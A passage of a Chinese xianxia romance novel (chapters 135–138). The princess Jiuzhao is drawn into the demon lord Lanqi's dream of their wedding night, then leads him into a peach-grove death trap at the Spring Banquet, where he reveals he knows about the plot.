伴随着薄唇张合,祝晏的最后一句话,如铁锤般重重敲打在九昭心头。 “不过,这也是我的一点愚见而已,我明白你是三清天的储君,肩头有需要担负的职责。” …… 他一语道破她的内心。 九昭却体会不到半点如释重负的轻松。 她伸手取过茶壶,往青瓷盏内注入满满一杯茶水。 清冽的茗香缓缓扩散开来,叶芽在早已凉透的茶汤中舒展沉浮。 一口气将冷茶饮尽,她望着失去水分,湿哒哒成团黏附在杯底的棕绿色茶叶,亦露出没有温度的苍白笑容:“也许,当被迫选择牺牲一个人的时刻,我也成为了,某种意义上的牺牲品。” 135| 第135章 ◎“你终于是我的妻子了。”◎ 就像留春宴定会到来一样, 今晚也注定是个不眠之夜。 九昭与祝晏同床而眠。 吹灭烛火时,祝晏习惯性地伸手,想要将她揽在怀里。 她却抬起手臂, 挡住了祝晏的亲近。 “抱歉。” 歉意出口, 九昭没有道明理由,只伴随着一阵布料窸动,将身子朝反方向转过去。 纵使暌违多日的爱人在侧,但今夜的她真的很需要一人独处沉思。 然而, 这回,祝晏再度凑了上来。 他自后将手臂缠绕在九昭的腰间,下颌支进她的颈窝, 低声说道:“昭娘,一日不见,如隔三秋…… “我真的很想念你,别推开我。” 过度的磨人, 往往混合着不安。 祝晏向来敏感, 以她的欢喜为欢喜, 以她的愤怒为愤怒。 之所以会不安,自然也是受到了她的影响。 想明白这点, 九昭只好勉力放松抗拒的身体, 沉默着由得他去。 “一切都会好起来的。” 祝晏的安慰,化作亲吻落在她的耳廓, “我只盼望你好睡无梦, 良夜安然。” …… 可惜祝晏的期冀只能落空。 明日便要将兰祁引入法阵诛灭。 安全起见, 今夜她需将留在他识海深处的那一缕仙识抽出。 九昭闭上双眼, 确定了是兰祁放任自己窥探他的记忆, 也就无谓再偷摸等候仙婢送来就寝消息。 她并不打坐入定, 直接沟通处于另一方的仙识,想要操控着它离开兰祁的脑海,然后进行回收。 从唤醒到连接,整个过程都无比顺利,兰祁的大脑像是对她没有任何防备。 将所有角落对她敞开,任仙识自由来去。 在即将撤出脑海的前一瞬,九昭又被一阵闪烁的光亮所吸引—— 他竟然在做梦。 她以为对留春宴的到来心怀忐忑的,不该只有自己。 可眼前的事实告诉他,前几日还在利用仙婢传来的假消息欺骗她的兰祁,就是如此毫不在意。 ……到底是什么美梦,让他迫不及待成这个样子。 明知不管任何,直接离开,是最安全妥善的方式。 可好奇心害死猫。 九昭还是不由自主地,悄悄游了过去。 一回生二回熟,有了上次偷窥的经验,九昭熟练地调整仙识的弧度,将其紧贴在梦境圆核的顶部。 变故便在顷刻间发生。 尚未来得及看清楚其间的场景,圆核光滑的外壁,陡然裂开一道缝隙。 一股无法抗拒的巨力,将游丝般的仙识狠狠吸了进去。 “!!” 糟糕,难道她中了兰祁的计?! 一阵天旋地转过后,九昭在新的躯壳内醒来。 红袍加身的兰祁立在她身边,而她交拢的掌心,则竖立着一面绣有石榴果叶的华丽团扇。 石榴,取多子多福之意。 九昭依旧没有控制身体的权利。 但只消事物映入眼帘的一瞥,她便清楚了,兰祁所做的美梦为何。 这是四千多年前的场景。 是她与兰祁大婚的典礼。 不必再寄居于男性的躯壳里,她变回了她自己—— 已经过去的,那个不堪回首的她自己。 “契阔诀成,天辇起——” 主持婚仪的礼官,站在穹空的云端之中,宣告着整个庆典的每一项步骤。 在九昭真实存在的记忆里,他们根本没有进行到这步。 因为厌恶她,于缔结契阔诀前,他便一把扯落头上的冠冕,而后两人拉扯追赶着,双双来到长生台。 这大约是依托兰祁的想象,虚构出来的。 他为何要在留春宴的前一晚,梦见他们婚礼的场景? 她明明早已同他说过,祝晏才是她一生认定的人。 总不能在妄想自己会为着得到另一半凤凰真血,而毁约答应嫁给他吧? 九昭的心情充满着疑虑和沉重。 奈何梦境里的婚礼场面又十分欢喜。 扯去团扇后,他们遵照仙族习俗,改为各自握着编成相思结的红绸一端。 两人并肩沿着长不见尾的锦毯慢慢走着。 临到登上天辇,她为神姬,兰祁是她的王夫,由她抬步先上,兰祁则微微俯身,跟在她的脚后。 完全坐在其中,天辇两侧的纱幔放下时,拉扯的八头青鸾齐声仰首激鸣。 更远处的云端中,奏响祝愿夫妻铿锵和鸣的乐声。 一切的一切,都与九昭曾经的期许别无二致。 灵魂仿佛分裂成两半,一半是现时的她冷眼旁观,一半是彼时的她难掩动容。 心脏如同海潮的上涨鼓动声中,兰祁与她携手应酬宾客。 直至月上中天,才带着醉意,由仙奴搀扶着,回到今晚休憩的喜殿。 “请神姬、王夫,共饮合卺酒!” 寓意美满的瓜果,琳琅满目摆了一桌。 所有仪式结束,礼官小心翼翼地从红绸上见下一段,合着两人的发丝捆绑起来。 放入雕刻连理枝的木盒中,以示始于青丝,终于白头。 “昭昭,真好……你终于是我的妻子了。” 兰祁神君满怀爱意的呢喃响起,自然也不会有人继续不识相地杵在殿内。 大门掩落,唯余一对新婚夫妻。 当一双触碰彼此的手探过去时,九昭很快明白了,接下来要发生什么。 ……不过,手是她的。 她主动而急不可待地,握着兰祁的手臂,将自己投进了他的怀里。 这对吗? 九昭的仙识发出强烈抗议。 与她态度截然相反的身体,却仰起头来,向上去捕获兰祁的嘴唇。 “昭昭,别急。” 一根手指抵了上来,柔柔拨弄着她的唇心。 每当齿关张合,想要将其咬住时,他又屈指一顶,“怎么像只讨食吃的鸟儿似的,如此贪心。” “……” 若非没有实体,九昭恐怕自己要窘迫得蜷起脚趾。 她并非不通人事。 再多耳语调情几句,接下来便会发生不可挽回的错误。 不受控制的梦境,算是对于祝晏的背叛吗? 九昭不敢深入思考,她开始动用所有的手段,试图从这具受控的身体中脱离。 可惜不管仙识如何在体内横冲直撞,所经之处都仿佛覆盖着一张柔韧无形的蛛网。 这个诡异的梦境切断了她与本体的联系。 就算她想要壮士断腕,以识海受损的代价回归清醒,亦无法施展出浑身的仙力。 兰祁到底对她做了什么—— 该死。 该死。 白日里她还在不忍为了三清天私利夺去他的性命。 晚上,他便以梦境为网,将她织罗其中,不得抽离。 束手无策的九昭,只能借由躯体的视野,恶狠狠地瞪着长睫垂敛,清容微红的青年。 他像是习惯了凡事皆由九昭主导。 正侧耳低声哄劝着她,一点一点将繁复的缀饰拆开。 “今日特殊,我便什么都不做,任凭昭昭做主好不好?” “兰祁哥哥。” “昭昭,你忘了吗,我们已然成婚,身份不再是兄妹,而是——” “……夫、夫君。” “昭昭好乖。” 身体不受控制,甚至没有闭合双眼的选择。 九昭被迫听着他们亲昵入骨的对话。 而早在她发誓要同扶胥好好过下去时,便已尘封放低的记忆陡然复苏。 她的耳廓被兰祁鼻尖呼出的热气熏得发麻。 于床笫之事间,他们曾有过彼此探索、彼此深入、最为合拍的过去。 纵使心情无比厌恶,感官却诚实地一点一点苏醒。 相比温柔和缓的相拥,他更喜欢用水磨的手段,将她逼到凤羽呈露,理智全失。 叫她口中显出锋利的獠牙,用接近于咬的亲吻,在他矫健颀长的青年躯壳留下无数痕迹。 九昭再次久违地,体会到了扶胥同祝晏两人,谁也无法带给她的灭顶欢愉。 她跨坐在兰祁的腰腹之上,支撑身体的掌心下方,是他被咬到伤痕累累的肌肤。 理智如海浪般沉浮倾覆。 她下意识望向兰祁掩盖在汗湿的碎发之下,微微折起的眼睛。 那双从来不显山不露水,将所有情绪掩藏到恰到好处的眼睛。 其中竟然闪烁着,对于她的深沉爱意。 136| 第136章 ◎“无耻!”◎ 困在梦境里, 和兰祁整整纠缠了一夜。 感觉到这具躯壳已至极限,承受不住马上要昏迷时,九昭的仙识终于脱困。 那桎梏在四面八方的壁障陡然消失, 意识迅速回归本体。 脑海内, 如有实质的欢愉犹存,九昭还未睁开双眼,面颊的滚烫热意已然来袭。她的双腿软得不成样子,唯余腰肢上如蛇般缠绕的手臂, 提醒着她在和祝晏共眠的同时,做梦与另一个男人翻云覆雨的事实。 身体的反应较心绪先一步发生变化。 她的颈项到后背,所有被祝晏紧密贴紧的地方无声僵硬起来。 祝晏像捕获到猎物的蜘蛛, 像囚禁雀鸟的雕金牢笼,他的身材高颀,长手长脚,将她密不透风束缚。 从这种极端的紧张中, 九昭再度联想到仙识受困时, 那种无路可逃的窒息感。 仿佛脱离一个梦境, 又到了另一个梦境。 用力咬下舌尖,利用疼痛强迫理智归拢, 目前最要紧的问题—— 她不知梦里欢愉过盛, 自己的口中有没有溢出难以言喻的声音。 而这不似寻常的声音,又是否被在旁的祝晏察觉。 贸然转身去观察对方是否清醒, 显然不是明智之举。 她只能屏着呼吸, 尽量保持熟睡的模样, 去暗中留意背后的情况。 半晌过去, 祝晏的鼻息始终平静绵长, 似乎对于外界的细微变化一无所知。 九昭松了口气。 随即, 滔天的羞耻将她淹没。 …… 一夜未眠,直至清晨。 留春宴在午间正式开启,九昭却要于卯时起身,而后是漫长的焚香沐浴,施妆更服过程。 两人尚未成婚,祝晏不便乘坐天辇同她携手共赴。 温存片刻后,他穿戴好衣衫,开启传送阵回到神王邸——留春宴虽名义上对所有除仙奴之外的神仙召开,但座次和进场顺序皆有讲究,神王昨日已提前率领妻嗣亲族入住二清天的神王邸,以便不错过时辰。 祝晏以北神王之子的身份出席,自然也要遵守规矩。 待到一切结束,时间将近巳时。 九昭依照神帝的嘱咐,不带一人,独身前往他的寝宫。 杀死魔族,夺回凤凰真血,兹事体大,他需要对九昭耳提面命一番。 并且,赐予能够调动桃林内逆魔伏诛阵的信物。 那是一枚戒指,只要注入力量,便能够开启或关闭法阵。 在告知刺中兰祁的心脏,将他最精华的心头血吸收入体,便能完成两条血脉的彻底融合后,神帝又望着九昭沉默的眼睛,意味深长说出一句:“昭儿,这两者的机会都仅有一次,时机方面,你要好好把控。” …… 银屏迤逦,锦绣催开。 拉扯的鸾鸟在目的地落停,九昭就着朱映伸出的手掌步下天辇。 抬头望向遍布升鸾台的华美景象,以及装扮得比景色更叫人眼花缭乱的神仙们。 “恭迎神姬殿下。” 位阶低的神仙们,尚未进场。 能够提前等在此的,多为神王、上神与天仙。 九昭抬手命他们免礼,粗略打量一圈,侧首对侍奉在旁的朱映低声说道:“这回倒是隆重,连常年云游在外的绥猷上神都归来了,只是不见仍不见日神朱曜——也不知他这领悟了万年的神境,何时才能勘破。” 作为下位神仙,不可随意议论上神。 听见九昭之言,朱映只恭敬垂头:“神境千变万化,勘悟总是艰难异常,大约还不到上神出关的时候。” “或许吧。” 九昭感叹完毕,离开人群的围绕,走向属于自己的座位。 升鸾台以台为名,十分形象。 它是一座占地辽阔的圆形平台,从上俯瞰,如同环环相扣的圆圈。 最中央最小的部分,是神帝宴请各位神王贵族的场地。 其他按照位阶排列的神仙,则依次坐在从由近到远的外围。 除此之外,最为著名的千顷桃林,则生长在升鸾台的东北一侧,哪怕相隔一段距离,遇桃花盛开亦或果实成熟时,那股馥郁的香气仍然会传播至筵席之间,叫人闻之欲醉,心旷神怡。 临行前神帝千叮咛万嘱咐,魔族直觉最为敏锐,万万不可叫他们瞧出异样。 纵心事满怀,九昭也只能回想自己过往的样子,极力扮演出那股高傲骄矜、不知世事之感。 三清天以左为尊。 神帝之下,她在左首,席位面向赴宴宾客。 靠近她的右方,是扶胥为首的仙族,而远离她的左方,更尊贵的位置,则是兰祁统御的魔族。 能坐在升鸾台的贵客数量本就不多。 为了和造访的三十二位魔族对上,又另有几位尚未成年,但身份足够高贵的年轻小仙们坐在尾处。 “众卿举杯,且与本座共祝这太平盛世!” 弦乐袅袅,在一派和乐气氛中,神帝作为三清天之主,率先以贺词开场。 九昭亦举起玉樽,无意识飘落的视线正好与扶胥对上。 青年的瞳孔深沉,难以透光。 那日他预祝她与祝晏百年好合时,同样是这副神情。 看久了,好似会被那片一瞬不瞬的漆黑彻底吞噬。 九昭心头一紧,在神帝未将贺词说完之前,飞快偏过眸去。 可另一边,更是她不想对视的人。 兰祁。 兰祁—— 无论是杀与被杀者的身份,还是昨夜那个难堪到极点的梦境。 她顾不上去注意兰祁的神色,再一次用更仓促、更狼狈的速度转开眼睛。 有了两回经验教训。 这次,索性有意识地看向坐在远处的祝晏。 恰好,祝晏也在看她。 他的眸光总是贯穿着包容,以及澄澈的爱恋。 与之对视,很快会有万般的柔情,将心脏的缺口填平。 九昭顿了顿,终于露出真心的笑容。 他们同处人群之中,眼中却仿佛只剩下彼此。 “饮酒——” “再斟——” 留春宴的开场,统共要饮三杯酒。 虽为盛会,实则在最要紧的部分未结束前,更接近于庄重严肃的仪式。 小仙们活泼好动,又无亲长在旁,自然坐不住。 最末尾席位相接的两名仙娥,一个倾身向前,一个撤身往后,就着仙乐的掩盖,悄声闲聊起来。 “诶,你看,神姬殿下在对祝晏仙君微笑。” “这有什么稀奇的,大家不早就默认了祝晏仙君是殿下未来的王夫了吗?” “不过,祝晏仙君不是区区神王庶子吗?按照身份来说,怎么也是扶胥上神和兰、咳咳业尊更好吧。” “你说什么呢,那魔尊兰祁都已经背叛了三清天,难道你还想让神姬嫁去焚业海不成?” “话说回来,神姬殿下的情史可真丰富,两位位高权重的大人物,还有以容貌闻名三清天的祝晏仙君,皆与她有一段说不清道不明的感情——也不知扶胥上神坐在前面是何感觉,明明两百年前才合离!” “你想那么多干什么,就算他俩合离,难不成还能轮到我们?” “哎呀,你好讨厌,想想还不行——” “等等,是我的错觉吗?怎么神姬一笑,那扶胥上神和兰祁魔尊握着酒杯的手,被迸起了青筋?” …… 宴席间的絮语,纵使不慎传入他人耳中,亦不会引起注意。 祷贺的仪式结束,又由兰祁起身,代表焚业海回敬一番,正式的前奏才算结束。 缥缈空灵的仙乐倏忽变得轻快起来,身着纱衣曼裙的仙娥们鱼贯而入献舞。 接下来,所有人都无需困坐在自己的位置之上。 可以自行与相熟的好友对酌,也可以前往桃林赏景采果。 不过神帝未动,一时间也不敢有人逾越。 大家静静地等候着这位三清天的主人发话,却听见他泰然自若地笑言道:“按照惯例,留春宴开启之际,桃林会对所有神仙开放,不过焚业海的诸位远来是客,这回便由你们先行进入采摘品尝吧。” 神帝说这话时,态度无比自然。 与热烈好客的主家别无二致。 倘若九昭不是整个计划的知情者,只怕也会被他骗过去。 她佯装挑拣着面前的菜肴,实则用余光窥视几丈外的兰祁。 见他欣然道谢答允,她的心头涌上一缕莫名的情绪。 难辨这缕思绪为何,神帝又转过头来,用期许的目光看着她道:“昭儿,桃林辽阔,蜿蜒盘环,第一次进入其中,难免不清楚最甘甜的蟠桃长于何处,你且带领业尊和诸位焚业海贵客前去吧。” “……是。” 神仙与魔族,本质上皆有法力。 再曲折的道路,只要没有阻碍,都能凭借法术指引轻易走出。 所以,为了将他们困在其中。 神帝提前在桃林内布置了重重迷阵,唯有九昭可以凭借戒指的神光指引安全脱离。 深入行了一段路后,九昭便驻步停下,扬言这附近的百丈内,便是欣赏桃林,采摘果实最好的位置。 大家可以自行散开,不用紧跟着自己。 此言一出,兰祁却是抱着手臂,一动不动站在原地。 魔族们闻弦歌而知雅意,明白尊上和神姬之间有话要说,识趣地转身就走。 “无咎,你还不走吗?” 最擅察言观色的魉夜,见年轻的凤凰族长,仍然跟个木头似地杵在兰祁身后,立刻上去拉他衣袖。 “近卫和其他人都走了,就留尊上独自在这里,我不放心——” 他警惕地盯着九昭,一副忠心护主的样子。 半点也没有为兰祁上次将自身打成重伤而记仇。 魉夜嘴唇轻动,无声骂了句傻子,扯住他目不斜视道:“你有什么好不放心的,快点跟我一起离开—— “这时,你走得越远,就越是证明对尊上忠心!” “为什么,你这又是哪来的歪理——” “哎呀,跟从来没谈过恋爱的凤凰崽子说不清楚!” …… 两人一路拉拉扯扯着走远。 魉夜看似清瘦,实则有一身怪力,硬生生将高出她半个头的青年拖离。 桃树掩映之间,终于只剩下九昭和兰祁。 微风拂过,花叶簌簌而落,鼻尖满是清雅香气。 “昭昭。” 兰祁唤了声她的乳名,“留春宴结束,我们便要离开了,我上次同你提到的,嫁给我,不知你——” 然而,话未说完,清脆的巴掌声陡然响起。 九昭动手将他打得偏过脸去,斥骂的声音抖颤不止:“无耻!” 137| 第137章 ◎“今日的你,是否足够狠心。”◎ 兰祁被打也不气恼。 只是问道:“怎么, 恋慕你便是无耻吗?那么,当年的长烨学宫应当尽是无耻之辈。” 由于用力,九昭的掌心淋漓开一片胀麻的热意。 她的鼻息在一呼一吸中逐渐变沉, 再不复宴会席间高贵从容的神姬气度。 “别顾左右而言他。” 她揭破兰祁装傻的行为, 冷冷道,“你明知道我指的不是这个。” “那是什么?请殿下明言,祁洗耳恭听。” 兰祁仍然在笑,像是体会不到肉/体的疼痛, 也体会不到九昭的愤怒。 在面颊越来越明显的红肿映衬下,他唇角的笑弧上扬到了一种令人倍感刺目的程度。 九昭别开眼。 怕自己无法保持冷静,刻意退后一步:“昨天夜里, 你梦见什么,自己都忘记了吗?” “我的梦——” 兰祁拖长尾音,做出回顾的模样。 少顷过后,又迷茫反问, “我的梦, 怎么了吗?仙魔都无法控制自己的梦境, 殿下连这点都在意?” “你梦见什么自然与我无关!可我仙识退出去的时候,你的梦境将我拉了进去!” 九昭怒目而视, “你故意的是不是!” 听完她质问的全部, 兰祁这才露出恍然大悟的神色:“嗯?我昨夜做梦时,你正在操控仙识退出我的脑海么?我完全不清楚你被吸了进去——可说到底, 这也不是我能控制的事情, 魔族常年生活在怨力积聚的焚业海, 本身就非常容易吸引执念心魔, 或许是你的仙识里掺入了杂念, 才会被梦境给吸附进去。” 全都是放屁! 兰祁这一通信口胡说, 话音未落,逼得九昭又要骂人。 可有一点,他却是说得没错。 这些天,她的脑海里总会想起跟他有关的东西。 有时候,想自己和父神母神对于他的亏欠。 有时候,则想到她和他共同度过的岁月往昔。 穿过花叶,踏入桃林。 有戴在手上的戒指默默指引,自己正在将兰祁引入筹谋已久的死局。 想到这里,九昭尚在羞恼的心情陡然坠了下去。 她一言不发凝视兰祁片刻,径直朝前方走去。 “诶,怎么走了——” 靴底碾过草地的声音窸窣,青年没有任何犹豫,便跟随在她身侧。 兰祁不紧不慢地负手于背后。 相较九昭绷紧身体,闷头前行,他长腿一抬,冠服飘萧,姿态恍若闲庭信步,语调中还隐含着些许古怪而缠绵的甜蜜:“昭昭,虽然你骂我无耻,不过能通过梦境让你感觉到我的真实心意,我还是很高兴的。” 为他无耻到坦荡的观念震惊一瞬,九昭迈出的脚步差点踩空: “你怎么能理直气壮地说出这些?留春宴过后我很快便要和祝晏成亲,你不知道吗?” 兰祁半仰起面容看天:“那又如何?我前面说了,我不能控制我自己的梦,你自然也不能,梦里意外发生的情况,也要归咎为背叛和不忠吗?祝晏一个马上要成为储君王夫的人,心眼便小到这种地步? “更何况,除了你父亲,有哪位三清天神帝不联姻各部的?他应该明白不能强求独占的道理。” 梦里是不是意外。 九昭清楚。 兰祁当然更加清楚。 她厌烦极了他这种揣着明白装糊涂的态度,只抿紧嘴唇,一心一意向目的地走去。 偏偏,兰祁说着说着像被自己打动一般,眸光轻晃:“其实,这几日我也仔细想过了,要你堂堂神姬下嫁,的确是我强求——我从小便是按照你未来王夫的标准培养的,有大度之心,不介意你另外有人。 “不如我们换个法子,你可以正常同祝晏完婚,只消把我的存在告诉他,而后每年去焚业海小住即可。” 如此荒谬的念头,经由兰祁一本正经的口吻道出,让九昭有种做梦未醒的错觉。 她忍不住转头看他,见他面上并无半分不悦,只全然沉浸在自己的“正室胸怀”里:“如何?把正头王夫的名号让给他没什么,我但求你心里有我就好——只要你答应,另一半凤凰真血我也会照旧献上。” “你把感情当成什么?” 九昭气得又捏紧了拳头。 “爱是忍耐,爱是退让,爱是让你过得开心,不必左右为难,这不对吗?”兰祁不再望天,歪头回视她,眸光一片坦然,“若只为了满足占有欲,只顾着自己快活,那样才是不尊重爱人和感情吧?” 成为业尊之后,兰祁不仅气势强大了许多,就连口舌也较过去伶俐。 他的歪理令九昭一时无言以对。又加快速度走了几步,才说:“任凭你说得再天花乱坠,可我早就告诉过你,当你背叛选择三清天时,你我之间便再也没有可能,” “昔日仙魔为敌,如今重修旧好,为何再也没可能?” 兰祁紧随其后的追问里,九昭陡然出现另一个消逝在熊熊元初之火中的身影。 年少不知愁的岁月,兰祁这个名字承载了她全部的少女心事。 若那时的他向她吐露爱意,释放柔情,九昭只怕自己会毫不犹豫放下一切随他而去。 可他们中间阻隔着太多的人事。 见证过巫逐的甘愿赴死,她岂能不知兰祁试探的言语中,糅杂着几分真情,几分假意。 耳畔青年的话音,仍在试图编织一个为爱成全的美梦,将她网住。 九昭倏忽收起所有的抗拒和强硬,平静反问道:“书中记载,当魔族对人产生真心,那么一切能够造成伤害的法术,都会对那人彻底失效——魇术虽多用于控制,却仍能害人,若你真的爱我,它怎还会生效?” 桃林与宴席接壤的远方,仙乐遥遥传来,不绝如缕,端的是太平和乐的安宁气象。 神帝设下的法阵诡谲刁钻,不仅迷失了林中众人的方向,将他们与外界隔绝开来,更营造了一重似假亦真的虚幻音像,来麻痹他们的警惕心。有琼英漫洒的桃林作为掩瘴,谁也不知滔天的杀机即将降临。 信物戒指持续发挥作用,勾连在识海的一抹牵系提醒着九昭,用来埋伏兰祁的阵法核心即将到达。 按照神帝的叮嘱,九昭只要以采摘蟠桃的名义,诱兰祁与耸立在核心处的桃树相触即可。 哪怕到最后他怀疑她的目的,想办法利用仙术将他推过去也行。 只差最后一步,方法总有很多,将他准确引至此处这个最困难的部分已经完成。 九昭却迟迟没有抬脚,走完接近尾声的一丈路。 她等待着兰祁的答案。 听见沉默顷刻的他,亦平静回应:“唯有付出全部真心,甘愿为之舍生忘死,法术才会彻底失效。昭昭,我始终留有余地,和我爱你这两者并不冲突。失去理智和自我的爱,只会让人恐惧、后退、逃避—— “你又岂知祝晏仙君是否献上全部来爱你。” 落尾的这句,该是质疑。 兰祁却说得笃定。 仿佛他对九昭和祝晏二人的感情,从来冷眼在旁,看得分明。 九昭心中飞快闪过一丝不适。 然而,她很快说服自己。 “有没有,是我们两人之间的事,轮不到你来产生质疑。 “我只知道,我一向厌恶既欺骗又利用我的人,祝晏他对我从来坦诚,这点就比你好上许多。” “是吗?” 兰祁微微一笑。 从他明灭的眸光中,九昭读出一丝隐晦的嘲讽,“神姬说得对,是我多管闲事。” 他不再开口。 视线左右流转,似乎突然对周围的景色产生了兴趣。 不多时,无需九昭带领,他竟朝着埋有法阵的桃树踱步走去。 九昭的心,更在他伸手,托住一片慢悠悠从枝梢落下的叶片时,紧绷到极点。 缓缓收拢五指,将落叶攥在掌心。兰祁转过身体,彻底背对向她,身姿颀长,秀若青竹:“我同你成婚洞房的梦,昨夜是你第一次见到,可在你没见到的时候,我反反复复做过无数次。 “如果我没有在你即将出生的前一年,发觉自己是神帝神后为你融合凤凰真血,所准备的容器,或许我们便会如梦里那般相爱相守,白头到老。你不必经历起落无常的感情,也不必与我走到今日这个结局。 “昭昭,你知道吗? “在无数个你在我枕畔安然酣睡的夜晚,我的心中都在想着,他们利用我的真相,有告诉过你吗?是不是因为清楚我迟早会被废弃抛却,你才会一次次地欺负我,捉弄我——我会想,要是能够杀死你就好了。 “后来,你喜滋滋地捧着神帝下达的婚旨来找我,抱着我说,要跟我永生永世在一起。 “我才明白,原来那些蛮横的行为,皆是你不懂爱却想表达爱的证明。 “懂得你的爱之后,我又会想,还是杀了你吧。 “然后,我再杀死自己。 “这样也算报复了神帝神后,我们也能够到地下永远在一起。” …… “可我还是太心软了。 “最终只激得你吐出一口心头血。 “千年过去,还放下了我,与旁人发生了那么多感情纠葛。” 兰祁对着桃树的自言自语,断在此处,稍稍停顿。 他摊开手,脆弱的叶片已被指节碾得粉身碎骨,唯余一片粘稠青汁。 九昭在对方回眸,重新转身的动作中,意识到,兰祁尚有言未尽。 许是将有血色打破这旖旎舒缓的风景,萦绕在两人间的空气,于不知不觉中变得滞涩。 有种说不清道不明的东西,令就找脉搏的速度砰砰加剧。 她无意识地屏住了呼吸。 却听见兰祁笑着询问:“那么你呢—— “昭昭,今日的你,是否足够狠心,将这片千顷桃林,当做我的埋骨之地?” 138| 第138章 ◎“你是巫劭,不是兰祁。”◎ 兰祁的话, 本不应该出现在二人共同追忆往昔的当下。 如同往平静的海面砸落一块巨石。 瞬间的表情空白过后,伴随着轰的一声,九昭体内所有的气血开始逆行, 齐齐冲向头顶。 父神暗地里筹谋许久的计划, 他怎会了解得那么详细? 既然提前知晓,又为何会将错就错,跟随自己进入桃林—— 她来不及思考更多,因震惊而边缘扩散的瞳孔, 落进兰祁施术慢条斯理涤净汁液的动作。 漆黑近似浓雾的魔气,涌动在他的肌理之间。 待到那阵黑光消散,千年未见的名剑烈霄, 已然取代叶片的碎/尸于他掌心凝结。 九昭以为他要攻击自己,连忙撑起仙力屏障意欲抵挡。 兰祁却将烈霄丢向她身后的空地,接着,还摘下了无名指上的防御法器。 名剑穿梭破风, 带落满树翠叶纷纷。 他站在这场不会淋湿彼此的落雨间, 朝她打开双臂—— 似是要展现自身的无害, 又像是在索求躯体的贴近。 “诛灭我的法阵,就在我背后的桃树上, 对吗?” 兰祁低柔且笃定的询问出口。 九昭不明白, 为何这种时刻,他依旧能够游刃有余地微笑。 “只要你一道仙术过来, 我就会向后倒去, 触发法阵的神力, 即刻殒命。” 提及自己的性命, 兰祁也没有多余情绪。 他半垂眼帘, 目光一瞬不瞬落在她的脸上:“其实对我而言, 失去本不该有的性命,没什么大不了的。 “我只是可怜你。 “可怜每一次相处时,你望着我的眼睛。” 兰祁轻轻叹出一口气:“你对将要杀死我的犹豫和不忍,都刻在那双美丽的眼睛里。” 九昭条件反射就要转开视线,可心中陡然响起的回避等同示弱的提醒,又使得她硬生生坚定了眼神。 “你从我梦里得知了背叛的前因后果,今日却依旧站在这里,我便知,你我皆是身不由己。” 很奇怪的。 在这场桃林杀局里,她为猎人,兰祁为猎物。 濒死的哀鸣未起,本该在出鞘的利刃映照下,显露绝望神容的猎物,反倒对她示以无限怜悯。 “让我猜猜吧,神帝的目的是什么—— “他举办留春宴,邀请我们这些不容于三清天的异类入席,是想利用桃林设下法阵,诛杀我们。 “我为业尊,陪同在我身侧的,皆是焚位高权重者。只要我们一死,焚业海就会陷入群龙无首的境地。 “相较一致对外,他们骨子里的不甘落于人下,逞凶好斗的个性,只会先一步进行内讧厮杀,直至决斗出下任首领。这个过程,持续时间不会太短,三清天又可买通细作,从旁催化,不断削弱焚业海的实力。 “到大厦将倾之时,再汇集兵力,一举攻破,将焚业海变为三清天的奴役之地。 “从此以后,三界之内,仙族再无强敌。” 兰祁的猜测,更接近于针对事实的叙述。 他平淡到仿佛在闲谈今日天气不错的话音,听得九昭血脉里沁出悚然寒意。 ……他竟如此了解她。 也如此了解她的父神。 倘若不是清楚紫微宫内设有重重神力禁制,九昭简直要怀疑兰祁就躲在御座后方偷听。 那么,提前掌握了这个消息的他,究竟想做些什么? 起先的错愕之后,九昭的表情蒙上了一层深刻的警惕。 兰祁却没有按照她想听的方向继续说下去。 揭破神帝暗里的筹谋,他的话音再度对准她:“你不反驳我,看来我猜的没错。 “三清天的各处都有神力运转,若贸然埋伏法阵,一个不小心,会造成严重后果——唯有这升鸾台上的千顷桃林,一非重要之地,二有留春宴作为现成的借口,诱我们入内,才不至于引起怀疑。 “只是我没想到,神帝杀我的心这么强烈,强烈到不惜利用你来动摇我的心志。” 九昭想反驳大声自己不曾被利用。可神帝拿大局逼迫她的言语,神绣局赶制出来的、意味深长的大红礼裙,以及宴上派她来领魔族深入桃林的命令,无一不叫她沉默以对。 到最后,她只能说出:“……我是神姬,我有我的职责。” 回答她的,是兰祁情不自禁发出的一声笑。 这笑宛若无形的耳光,响亮抽打在她脸上。 “焚业海已然主动停战修和,神帝依旧不肯放过。纵使魔族暴躁嗜杀,有许多人双手沾染过血腥,难道那些参与战争的仙族不是?三清天自诩仁慈正义,却总是做出与正义违背的,赶尽杀绝的事情。 “你确定你帮助他实现阴谋,是在尽神姬该尽的职责?” 句句反问,化作一个又一个耳光,铺天盖地朝九昭打来。 她几乎支撑不住与兰祁对视的勇气。 这一刻,他们不再是陷落恨海情天里的痴男怨女。 兰祁的眸底有血色覆落,猩红缓缓晕染眼白。 是一个部族的领袖,在替他的子民作出质疑。 “你看,这就是三清天。 “你所信奉的公平,你在大朝会上,为那名仙奴据理力争的东西,绝不可能在此实现——你连杀我一个背弃过你的仇人,尚且如此犹豫,他朝神帝命你挥鞭,袭向那些焚业海无辜的孩童子民,你又当如何? “昭昭,你是不是觉得,在这件事上,向来疼爱你的父神突然变了? “实际上,他从来如此。 “这才是他的本性,或者说,是所有掌握生杀予夺大权的上位者的本性。 “你的善良,你对我的不忍,从来只是个笑话。 “想成为下一任神帝,你就要放下有关个人意志的一切。 “你必须舍弃自己。” 兰祁话音不断,弹指间,他如鬼魅般无声靠近,展开的臂膀收拢,手指用力扣在九昭的肩颈处。 黑白分明的双眼不复,是更接近印象里魔族兴奋时的深红。 这深红叫九昭眼前陡然浮现出旁的东西。 连绵不绝的红线,生长在她和缔结变异血契的巫逐之间。 那双失明的瞳孔,就这样时隐时现地与兰祁质问她的眼睛重叠。 无声里,九昭的耳畔突然闯进一抹幽幽的嗤笑。 她慌乱去看兰祁的嘴唇,却见他并非勾起弧度的模样。 ……这笑,来自耳边。 更来自她的心底。 蛰伏多日的心魔再度作乱起来。 九昭不得不承认兰祁的言语威力。 它们无孔不入,就算堵住耳朵,脑海仍旧会响起。 …… 她不可能改变什么。 她根本不是父母期待的储君。 她总是搞砸一切,还会生出无数不该有的软弱。 …… 幻觉中,巫逐保持英俊的人面不变。 脖颈以下,却无限拉长,便成似蛇似龙的虬躯将她缠紧。 九昭感觉到透不过气。 她亦从兰祁的血色瞳眸中,望见了来日三清天攻占焚业海,杀得遍地尸骸,血流成河的场景。 如有实质的血腥气萦绕鼻尖。 九昭很想推开近在咫尺的兰祁,捂嘴作呕。 心魔占据的领地飞速扩大。 它离开了胸腔的狭窄范围,滑入她的血液百骸,滋滋腐蚀着被称之为“粹正清洁”的仙气。 为何是她? 